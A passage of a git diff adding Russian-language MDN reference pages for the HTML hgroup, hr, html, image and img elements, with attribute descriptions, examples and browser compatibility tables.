+   <th scope="row">Permitted parent elements</th>
+   <td>Any element that accepts <a href="/en-US/docs/HTML/Content_categories#Flow_content" title="HTML/Content categories#Flow content">flow content</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM interface</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p><span style="line-height: 21px;">This element only includes the </span><a href="https://developer.mozilla.org/en-US/docs/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">global attributes</a><span style="line-height: 21px;">.</span></p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: html">&lt;hgroup&gt;
+  &lt;h1&gt;Главный заголовок&lt;/h1&gt;
+  &lt;h2&gt;Вторичный заголовок&lt;/h2&gt;
+&lt;/hgroup&gt;
+</pre>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>5</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>9.0</td>
+   <td>11.10</td>
+   <td>4.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.2</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>9.0</td>
+   <td>11.0</td>
+   <td>5.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li>Другие элементы, связанные с разделом: {{HTMLElement("body")}}, {{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("aside")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}, {{HTMLElement("nav")}}, {{HTMLElement("header")}}, {{HTMLElement("footer")}}, {{HTMLElement("address")}};</li>
+ <li><a class="deki-ns current" href="/en-US/docs/Sections_and_Outlines_of_an_HTML5_document" title="Sections and Outlines of an HTML5 document">Sections and outlines of an HTML5 document</a>.</li>
+</ul>
diff --git a/files/ru/web/html/element/hr/index.html b/files/ru/web/html/element/hr/index.html
new file mode 100644
index 0000000000..8776efb3aa
--- /dev/null
+++ b/files/ru/web/html/element/hr/index.html
@@ -0,0 +1,129 @@
+---
+title: '<hr>: The Thematic Break (Horizontal Rule) element'
+slug: Web/HTML/Element/hr
+translation_of: Web/HTML/Element/hr
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;hr&gt;</code> элемент </strong>служит для тематического разделения абзацев.Рисует горизонтальную прямую</span></p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/hr.html", "tabbed-shorter")}}</div>
+
+
+
+<p>Historically, this has been presented as a horizontal rule or line. While it may still be displayed as a horizontal rule in visual browsers, this element is now defined in semantic terms, rather than presentational terms, so if you wish to draw a horizontal line, you should do so using appropriate CSS.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/Web/HTML/Content_categories">Content categories</a></th>
+   <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Flow content</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted content</th>
+   <td>None, it is an {{Glossary("empty element")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Tag omission</th>
+   <td>It must have start tag, but must not have an end tag.</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted parents</th>
+   <td>Any element that accepts <a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">flow content</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Implicit ARIA role</th>
+   <td>{{ARIARole("separator")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted ARIA roles</th>
+   <td>{{ARIARole("presentation")}} or {{ARIARole("none")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM interface</th>
+   <td>{{domxref("HTMLHRElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Attributes">Attributes</h2>
+
+<p>This element's attributes include the <a href="/en-US/docs/Web/HTML/Global_attributes">global attributes</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("align")}} {{deprecated_inline}}</dt>
+ <dd>Задает правило выравнивания.По умолчанию значение выставленно как<strong> left</strong></dd>
+ <dt>{{htmlattrdef("color")}} {{Non-standard_inline}}</dt>
+ <dd>Задает цвет линии</dd>
+ <dt>{{htmlattrdef("noshade")}} {{deprecated_inline}}</dt>
+ <dd>Sets the rule to have no shading.</dd>
+ <dt>{{htmlattrdef("size")}} {{deprecated_inline}}</dt>
+ <dd>Устанавливает высоту в px</dd>
+ <dt>{{htmlattrdef("width")}} {{deprecated_inline}}</dt>
+ <dd>Задает длину линии в px либо в %</dd>
+</dl>
+
+<h2 id="Example">Example</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;p&gt;
+  Это первый параграф текста
+  Это первый параграф текста
+  Это первый параграф текста
+  Это первый параграф текста
+&lt;/p&gt;
+
+&lt;hr&gt;
+
+&lt;p&gt;
+  Это второй параграф текста
+  Это второй параграф текста
+  Это второй параграф текста
+  Это второй параграф текста
+&lt;/p&gt;</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample("Example")}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-hr-element', '&lt;hr&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Definition of the <code>&lt;hr&gt;</code> element</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-hr-element', '&lt;hr&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'present/graphics.html#h-15.3', '&lt;hr&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>The <code>align</code>, <code>noshade</code>, <code>size</code>, and <code>width</code> attributes are deprecated</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("html.elements.hr")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTMLElement('p')}}</li>
+</ul>
diff --git a/files/ru/web/html/element/html/index.html b/files/ru/web/html/element/html/index.html
new file mode 100644
index 0000000000..7b1b856947
--- /dev/null
+++ b/files/ru/web/html/element/html/index.html
@@ -0,0 +1,121 @@
+---
+title: <html>
+slug: Web/HTML/Element/html
+tags:
+  - Element
+  - HTML
+  - Web
+  - Веб
+  - Справка
+  - Элемент
+  - корневой элемент HTML
+translation_of: Web/HTML/Element/html
+---
+<p>{{HTMLRef}}</p>
+
+<p><span class="seoSummary"><strong>HTML-элемент <code>&lt;html&gt;</code></strong> представляет собой корень (элемент верхнего уровня) HTML-документа, поэтому его так же называют корневым элементом. Все другие элементы должны быть потомками этого элемента (должны находиться внутри него).</span></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ru/docs/Web/Guide/HTML/Content_categories">Категории контента</a></th>
+   <td>Отсутствуют.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенное содержимое</th>
+   <td>Один элемент {{HTMLElement("head")}}, за которым следует один элемент {{HTMLElement("body")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Пропуск тега</th>
+   <td>Открывающий тег может быть пропущен, если первое, что находится внутри элемента <code>&lt;html&gt;</code>, не является комментарием.<br>
+    В {{glossary("HTML5")}} закрывающий тег может быть пропущен. В старых версиях HTML, если сразу за элементом <code>&lt;html&gt;</code> следует комментарий (при наличии элемента {{HTMLElement("body")}}), то закрывающий тег пропускать нельзя.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенные родительские элементы</th>
+   <td>Отсутствуют. Это корневой элемент документа.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенные роли ARIA</th>
+   <td>Отсутствуют.</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM-интерфейс</th>
+   <td>{{domxref("HTMLHtmlElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p>К этому элементу применимы <a href="/ru/docs/Web/HTML/Общие_атрибуты">глобальные атрибуты</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("manifest")}} {{obsolete_inline}}</dt>
+ <dd>Определяет {{glossary("URI")}} файла манифеста, указывающего ресурсы, которые должны быть сохранены в локальном кэше. Смотрите <a href="/en-US/docs/Web/HTML/Using_the_application_cache">Использование кэша приложений</a>.</dd>
+ <dt>{{htmlattrdef("version")}} {{obsolete_inline}}</dt>
+ <dd>Определяет версию HTML DTD (Document Type Definition, больше известное как {{glossary("Doctype")}}), которая управляет текущим документом. Этот атрибут не нужен, потому что он является избыточным, так как есть информация, указываемая в объявлении типа документа.</dd>
+ <dt>{{htmlattrdef("xmlns")}}</dt>
+ <dd>Определяет {{glossary("Namespace", "пространство имен")}} {{glossary("XHTML", "XHTML-документа")}}. Значение по умолчанию <code>"http://www.w3.org/1999/xhtml"</code>. Это требуется при {{glossary("parse", "парсинге")}} документов с помощью {{glossary("parser", "парсера")}} {{glossary("XML")}} и необязательно для документов <code>text/html</code>.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+  &lt;head&gt;...&lt;/head&gt;
+  &lt;body&gt;...&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Проблемы_доступности">Проблемы доступности</h2>
+
+<p>Добавление атрибута {{htmlattrxref("lang")}} с допустимым (валидным) идентификатором языка (определены в документе IETF <a class="external" href="https://www.ietf.org/rfc/bcp/bcp47.txt">BCP47</a>) в элемент <code>&lt;html&gt;</code> поможет технологии чтения с экрана правильно определить язык. Идентификатор языка должен описывать язык, который используется большей частью содержимого страницы. Без него программы чтения с экрана, как правило, по умолчанию используют язык операционной системы, который может может стать причиной неправильного произношения.</p>
+
+<p>Добавление валидного атрибута <code>lang</code> в элемент <code>&lt;html&gt;</code> также гарантирует, что важные метаданные, содержащиеся в элементе {{HTMLElement("head")}}, например заголовок страницы {{HTMLElement("title")}}, также будут объявлены правильно.</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Understandable#Guideline_3.1_%E2%80%94_Readable_Make_text_content_readable_and_understandable">MDN Understanding WCAG, Guideline 3.1 explanations</a></li>
+ <li><a class="external" href="https://www.w3.org/TR/2016/NOTE-UNDERSTANDING-WCAG20-20161007/meaning-doc-lang-id.html">Understanding Success Criterion 3.1.1 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-html-element', '&lt;html&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'semantics.html#the-html-element', '&lt;html&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Добавлена поддержка атрибута <code>manifest</code> (позже устарел). Атрибут <code>version</code> больше не поддерживается.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/global.html#h-7.3', '&lt;html&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Устаревший атрибут <code>version</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице генерируется из структурированных данных. Если вы хотите внести свой вклад в эти данные, пожалуйста проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам "pull request" (предложение изменения кода в чужом репозитории).</div>
+
+<p>{{Compat("html.elements.html")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Элемент верхнего уровня MathML: {{MathMLElement("math")}}</li>
+ <li>Элемент верхнего уровня SVG: {{SVGElement("svg")}}</li>
+</ul>
diff --git a/files/ru/web/html/element/image/index.html b/files/ru/web/html/element/image/index.html
new file mode 100644
index 0000000000..e6a269b753
--- /dev/null
+++ b/files/ru/web/html/element/image/index.html
@@ -0,0 +1,19 @@
+---
+title: <image>
+slug: Web/HTML/Element/image
+tags:
+  - HTML
+  - Non-standard
+translation_of: Web/HTML/Element/image
+---
+<div>{{non-standard_header}}</div>
+
+<h2 id="Словарь">Словарь</h2>
+
+<p>Элемент HTML <code>&lt;image&gt;</code> был эксперементальным элементом, предназначенный для отображения изображений. Он никогда не был реализован, вместо него должен использоваться стандартный элемент {{HTMLElement("img")}}.</p>
+
+<div class="note">
+<p><strong>НИКОГДА НЕ ИСПОЛЬЗУЙТЕ ЕГО!<em> </em></strong>Для отображения изображений используйте стандартный элемент {{HTMLElement("img")}}.</p>
+</div>
+
+<p><code>Следует обратить внимание, что до Firefox 22 элемент &lt;image&gt;, хоть и не поддерживался, был связан с </code>{{domxref("HTMLSpanElement")}}. Позже это было исправлено, и теперь он связан с  {{domxref("HTMLElement")}} в соответствии с требованиями спецификации.</p>
diff --git a/files/ru/web/html/element/img/index.html b/files/ru/web/html/element/img/index.html
new file mode 100644
index 0000000000..d21362cce8
--- /dev/null
+++ b/files/ru/web/html/element/img/index.html
@@ -0,0 +1,388 @@
+---
+title: <img>
+slug: Web/HTML/Element/img
+tags:
+  - Element
+  - HTML
+  - Web
+  - Веб
+  - Графика
+  - Изображение
+  - Картинки
+  - Справка
+  - Фотографии
+  - Элемент
+  - мультимедиа
+translation_of: Web/HTML/Element/img
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML-элемент <code>&lt;img&gt;</code></strong> встраивает изображение в документ. Это <a href="/ru/docs/Web/CSS/Замещаемый_элемент">замещаемый элемент</a>.</span></p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/img.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<p>Приведенный выше пример показывает очень простое использование элемента <code>&lt;img&gt;</code>. Атрибут <code>src</code> обязателен и содержит путь к изображению, которое вы хотите встроить в документ. Атрибут <code>alt</code> содержит текстовое описание изображения, которое не обязательно, но невероятно полезно для доступности — программы чтения с экрана читают это описание своим пользователям, так они знают какое изображение показано, и так же оно отображается на странице, если изображение не может быть загружено по какой-либо причине.</p>
+
+<p>Есть много других атрибутов, которые могут быть указаны для достижения различных целей, например:</p>
+
+<ul>
+ <li>управление Referrer/CORS в целях безопасности. Смотрите ниже атрибуты <code>crossorigin</code> и <code>referrerpolicy</code>;</li>
+ <li>настройка {{glossary("Intrinsic Size", "внутреннего размера")}} с использованием <code>width</code> и <code>hight</code>, которые полезны, когда вы хотите задать пространство занимаемое изображением, чтобы обеспечить стабильность макета страницы перед его загрузкой;</li>
+ <li>адаптивные изображения рекомендуется использовать с атрибутами <code>sizes</code> и <code>srcset</code> (смотрите также элемент {{htmlelement("picture")}} и наше руководство "<a href="/ru/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">Адаптивные изображения</a>").</li>
+</ul>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><dfn><a href="/ru/docs/Web/Guide/HTML/Content_categories" title="HTML/Content_categories">Категории контента</a></dfn></th>
+   <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Потоковый_контент">Потоковый контент</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Phrasing_content">фразовый контент</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Встроенный_контент">встроенный контент</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Явный_контент">явный контент</a>. Если элемент имеет атрибут <code>usemap</code>, он так же принадлежит к категории <a href="/ru/docs/Web/Guide/HTML/Content_categories#Интерактивный_контент">интерактивного контента</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенное содержимое</th>
+   <td>Никакое, так как это {{Glossary("empty element", "пустой элемент")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Пропуск тега</th>
+   <td>Должен иметь открывающий тег и не должен иметь закрывающий.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенные родительские элементы</th>
+   <td>Любой элемент, который разрешает встроенный контент в качестве содержимого.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешённые роли ARIA</th>
+   <td>Любые</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM-интерфейс</th>
+   <td>{{domxref("HTMLImageElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддерживаемые_форматы_изображений">Поддерживаемые форматы изображений</h2>
+
+<p>Стандарт HTML не содержит списка форматов изображений, которые должны поддерживаться. Поэтому разные {{glossary("user agent","пользовательские агенты")}} поддерживают разные наборы форматов.</p>
+
+<h3 id="Firefox">Firefox</h3>
+
+<p>Форматы изображений, поддерживаемые Firefox:</p>
+
+<ul>
+ <li><a class="external" href="https://ru.wikipedia.org/wiki/JPEG">JPEG</a>;</li>
+ <li><a class="external" href="https://ru.wikipedia.org/wiki/GIF">GIF</a>, включая анимированные GIF;</li>
+ <li><a class="external" href="https://ru.wikipedia.org/wiki/PNG">PNG</a>;</li>
+ <li><a href="/en-US/docs/Animated_PNG_graphics">APNG</a>;</li>
+ <li><a href="/ru/docs/Web/SVG">SVG</a>;</li>
+ <li><a class="external" href="https://ru.wikipedia.org/wiki/BMP">BMP</a>;</li>
+ <li><a class="external" href="https://ru.wikipedia.org/wiki/ICO_(%D1%84%D0%BE%D1%80%D0%BC%D0%B0%D1%82_%D1%84%D0%B0%D0%B9%D0%BB%D0%B0)">BMP ICO</a>;</li>
+ <li><a class="external" href="https://ru.wikipedia.org/wiki/ICO_(%D1%84%D0%BE%D1%80%D0%BC%D0%B0%D1%82_%D1%84%D0%B0%D0%B9%D0%BB%D0%B0)">PNG ICO</a>.</li>
+</ul>
+
+<h2 id="Ошибки_загрузки_изображения">Ошибки загрузки изображения</h2>
+
+<p>Если ошибка происходит во время загрузки или отрисовки изображения и обработчик события {{htmlattrxref("onerror")}} был настроен на обработку события {{event("error")}}, тогда этот обработчик события будет вызван. Это может произойти в ряде ситуаций, в том числе когда:</p>
+
+<ul>
+ <li>атрибут <code>src</code> пустой или {{glossary("null")}};</li>
+ <li>указанный {{glossary("URL")}} в атрибуте <code>src</code> совпадает с URL страницы, на которой в данный момент находится пользователь;</li>
+ <li>указанное изображение каким-то образом повреждено, что препятствует его загрузке;</li>
+ <li>метаданные указанного изображения повреждены таким образом, что невозможно получить его размеры, и в атрибутах элемента <code>&lt;img&gt;</code> не было указано никаких размеров;</li>
+ <li>указанное изображение имеет формат, который не поддерживается {{Glossary("user agent", "пользовательским агентом")}}.</li>
+</ul>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p>К этому элементу применимы <a href="/ru/docs/Web/HTML/%D0%9E%D0%B1%D1%89%D0%B8%D0%B5_%D0%B0%D1%82%D1%80%D0%B8%D0%B1%D1%83%D1%82%D1%8B">глобальные атрибуты</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("alt")}}</dt>
+ <dd>
+ <p>Этим атрибутом задается альтернативное текстовое описание изображения.</p>
+
+ <div class="note">
+ <p><strong>Заметка:</strong> Браузеры не всегда отображают изображение на которое ссылается элемент. Это относится к неграфическим браузерам (включая те, которые используются людьми с нарушениями зрения), если пользователь решает не отображать изображения, или если браузер не может отобразить изображение, потому что оно имеет неверный или <a href="#Supported_image_formats">неподдерживаемый тип</a>. В этих случаях браузер может заменить изображение текстом записанным в атрибуте <code>alt</code> элемента. По этим и другим причинам вы должны по возможности предоставлять полезное описание в атрибуте <code>alt</code>.</p>
+ </div>
+
+ <div class="note">
+ <p><strong>Заметка:</strong> Пропуст этого атрибута в целом указывает, что изображение является ключевой частью контента и текстовый эквивалент не доступен. Установка этого атрибута в значение пустой строки (<code>alt=""</code>) указывает, что это изображение <em>не</em> является ключевой частью контента (декоративное), и что невизуальные браузеры могут пропустить его при {{glossary("Rendering engine", "рендеринге")}}.</p>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("crossorigin")}}</dt>
+ <dd>
+ <p>Этот атрибут указывает, следует ли использовать {{glossary("CORS")}} при загрузке изображения или нет. <a href="/en-US/docs/Web/HTML/CORS_enabled_image">Изображения с включенной поддержкой CORS</a> могут быть повторно использованы в элементе {{HTMLElement("canvas")}} не будучи "<a href="/en-US/docs/Web/HTML/CORS_enabled_image#Security_and_tainted_canvases">испорченными</a>". Допустимые значения:</p>
+
+ <ul>
+  <li><code>anonymous</code>: Запрос cross-origin (т.е. с HTTP-заголовком {{httpheader("Origin")}}) выполняется, но параметры доступа не передаются (т.е. нет {{glossary("cookie")}}, не используется <a class="external" href="https://tools.ietf.org/html/rfc5280">стандарт X.509</a> или базовая HTTP-аутентификация). Если сервер не предоставляет параметры доступа исходному сайту (не устанавливая HTTP-заголовок {{httpheader("Access-Control-Allow-Origin")}}), изображение будет "<a href="/en-US/docs/Web/HTML/CORS_enabled_image#Security_and_tainted_canvases">испорчено</a>" и его использование будет ограничено;</li>
+  <li><code>use-credentials</code>: Запрос cross-origin (т.е. с HTTP-заголовком {{httpheader("Origin")}}) выполняется вместе с передачей параметров доступа (т.е. есть {{glossary("cookie")}}, используется <a class="external" href="https://tools.ietf.org/html/rfc5280">стандарт X.509</a> или базовая HTTP-аутентификация). Если сервер не предоставляет параметры доступа исходному сайту (посредством HTTP-заголовка {{httpheader("Access-Control-Allow-Origin")}}), изображение будет "<a href="/en-US/docs/Web/HTML/CORS_enabled_image#Security_and_tainted_canvases">испорчено</a>" и его использование будет ограничено.</li>
+ </ul>
+
+ <p>Если этот атрибут не задан, то CORS при загрузке изображения не используется (т.е. без отправки HTTP-заголовка {{httpheader("Origin")}}), ограничивая его использование в элементе {{HTMLElement("canvas")}}. Если задан неправильно, то он обрабатывается так, как если бы использовалось значение <code>anonymous</code>. Для получения дополнительной информации смотрите "<a href="/ru/docs/Web/HTML/CORS_settings_attributes">Настройки атрибутов CORS</a>".</p>
+ </dd>
+ <dt>{{htmlattrdef("decoding")}}</dt>
+ <dd>
+ <p>Предоставляет рекомендации браузеру по декодированию изображения. Допустимые значения:</p>
+
+ <ul>
+  <li><code>sync</code>: Декодировать изображение синхронно для одновременного отображения с другим контентом;</li>
+  <li><code>async</code>: Декодировать изображение асинхронно, чтобы уменьшить задержку отображения другого контента;</li>
+  <li><code>auto</code>: Режим по умолчанию, который указывает на отсутствие предпочтений к режиму декодирования. Браузер решает, что лучше для пользователя.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("height")}}</dt>
+ <dd>Внутренняя высота (см. {{glossary("Intrinsic size", "Внутренний размер")}}) изображения в пикселях.</dd>
+ <dt>{{htmlattrdef("importance")}} {{experimental_inline}}</dt>
+ <dd>
+ <p>Указывает сравнительную важность ресурса. Приоритет выбирается с помощью значений:</p>
+
+ <ul>
+  <li><code>auto</code>: Указывает на <strong>отсутствие предпочтений</strong>. Браузер может использовать собственную эвристику для определения приоритета изображения;</li>
+  <li><code>high</code>: Указывает браузеру, что изображение имеет <strong>высокий</strong> приоритет;</li>
+  <li><code>low</code>: Указывает браузеру, что изображение имеет <strong>низкий</strong> приоритет.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("intrinsicsize")}} {{experimental_inline}}</dt>
+ <dd>Этот атрибут говорит браузеру игнорировать действительный {{glossary("Intrinsic size", "внутренний размер")}} изображения и делать вид, что это размер, указанный в атрибуте. В частности, изображение будет растровым в этих измерениях, а <code>narutalWidth</code>/<code>naturalHeight</code> изображения будут возвращать значения, указанные в этом атрибуте. <a class="external" href="https://github.com/ojanvafai/intrinsicsize-attribute">Объяснение</a>, <a class="external" href="https://googlechrome.github.io/samples/intrinsic-size/index.html">примеры</a>.</dd>
+ <dt>{{htmlattrdef("ismap")}}</dt>
+ <dd>
+ <p>Это атрибут логического типа, указывающий, что изображение является частью серверной карты ссылок. Если это так, то точные координаты клика отправляются на сервер.</p>
+
+ <div class="note">
+ <p><strong>Заметка:</strong> Этот атрибут разрешен, только если элемент <code>&lt;img&gt;</code> является потомком элемента {{htmlelement("a")}} с валидным (соответствующий требованиям) атрибутом {{htmlattrxref("href","a")}}.</p>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("referrerpolicy")}} {{experimental_inline}}</dt>
+ <dd>
+ <p>Строка, указывающая, какой реферер (referrer) использовать при выборке ресурсов:</p>
+
+ <ul>
+  <li><code>no-referrer</code>: Заголовок {{httpheader("Referer")}} не будет отправлен;</li>
+  <li><code>no-referrer-when-downgrade</code>: Заголовок {{httpheader("Referer")}} не отправляется, когда происходит переход к источнику без {{glossary("TLS")}} ({{glossary("HTTPS")}}). Это поведение по умолчанию для {{glossary("user agent", "пользовательских агентов")}}, если не указано иное;</li>
+  <li><code>origin</code>: Заголовок {{httpheader("Referer")}} будет содержать схему адресации ресурса (HTTP, HTTPS, {{glossary("FTP")}} и т.д), {{glossary("host", "хост")}} и {{glossary("port", "порт")}};</li>
+  <li><code>origin-when-cross-origin</code>: Переход на другие источники ограничит включенные реферальные данные схемой адресации ресурса, {{glossary("host", "хостом")}} и {{glossary("port", "портом")}}, в то время как переход из того же источника будет включать полный путь реферала;</li>
+  <li><code>unsafe-url</code>: Заголовок {{httpheader("Referer")}} будет включать источник и путь, но не фрагмент {{glossary("URL")}}, пароль или имя пользователя. Этот метод небезопасен, потому что будет утечка источников и путей от ресурсов, защищенных {{glossary("TLS")}}, к незащищенным источникам.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("sizes")}}</dt>
+ <dd>
+ <p>Список из одного или нескольких строк, разделенных запятыми, указывающих набор размеров источника. Каждый размер источника состоит из:</p>
+
+ <ol>
+  <li>Условия меда-запроса. Оно должно быть пропущено для последнего элемента.</li>
+  <li>Значения размера источника.</li>
+ </ol>
+
+ <p>Значения размера источника устанавливаются исходя из предполагаемых размеров изображения. {{glossary("user agent", "Пользовательские агенты")}} используют текущий размер источника, чтобы выбрать один из источников, предоставленных атрибутом <code>srcset</code>, если эти источники описываются с помощью дескриптора ширины '<code>w</code>' (сокращение от width). Выбранный размер источника влияет на {{glossary("intrinsic size", "внутренний размер")}} изображения (отображаемый размер изображения, если не применены стили CSS). Если атрибут <code>srcset</code> отсутствует или не содержит значений с дискриптором '<code>w</code>', то атрибут <code>sizes</code> не будет иметь никакого эффекта.</p>
+ </dd>
+ <dt>{{htmlattrdef("src")}}</dt>
+ <dd>{{glossary("URL")}} изображения. Этот атрибут является обязательным для элемента <code>&lt;img&gt;</code>. В браузерах, поддерживающих <code>srcset</code>, <code>src</code> обрабатывается как изображение-кандидат с дескриптором плотности пикселей <code>1x</code>, если только изображение с этим дескриптором уже не определено в <code>srcset</code> или если <code>srcset</code> не содержит дескрипторы '<code>w</code>'.</dd>
+ <dt>{{htmlattrdef("srcset")}}</dt>
+ <dd>
+ <p>Список из одной или нескольких строк, разделенных запятыми, указывающих набор возможным источников изображения для использования {{glossary("user agent", "пользовательскими агентами")}}. Каждая строка состоит из:</p>
+
+ <ol>
+  <li>{{glossary("URL")}} изображения.</li>
+  <li>Необязательного, пробела, сопровождаемого:
+   <ul>
+    <li>дескриптором ширины или положительным целым числом, за которым сразу же следует '<code>w</code>'. Дескриптор ширины делится на размер источника, полученный из атрибута <code>sizes</code>, для расчета эффективной плотности пикселей;</li>
+    <li>дескриптором плотности пикселей, который является положительным числом с плавающей точкой за которым сразу же следует '<code>x</code>'.</li>
+   </ul>
+  </li>
+ </ol>
+
+ <p>Если не указано ни одного дескриптора, то источнику присваивается дескриптор по умолчанию: <code>1x</code>.</p>
+
+ <p>Нельзя смешивать дескрипторы ширины с дескрипторами плотности пикселей в одном атрибуте <code>srcset</code>. Повторение дескрипторов (например, два источника в одном <code>srcset</code> с одинаковым дескриптором '<code>2x</code>') так же является недопустимым.</p>
+
+ <p>{{glossary("user agent", "Пользовательские агенты")}} выбирают любой из доступных источников на свое усмотрение. Это предоставляет им значительную свободу действий для адаптации их выбора на основе таких вещей, как предпочтения пользователя или {{glossary("bandwidth", "пропускная способность")}}. Смотрите наше руководство "<a href="/ru/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">Адаптивные изображения</a>" для примера.</p>
+ </dd>
